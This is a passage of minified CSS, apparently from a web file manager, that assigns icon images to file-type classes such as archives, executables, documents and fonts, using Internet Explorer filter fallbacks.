\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none 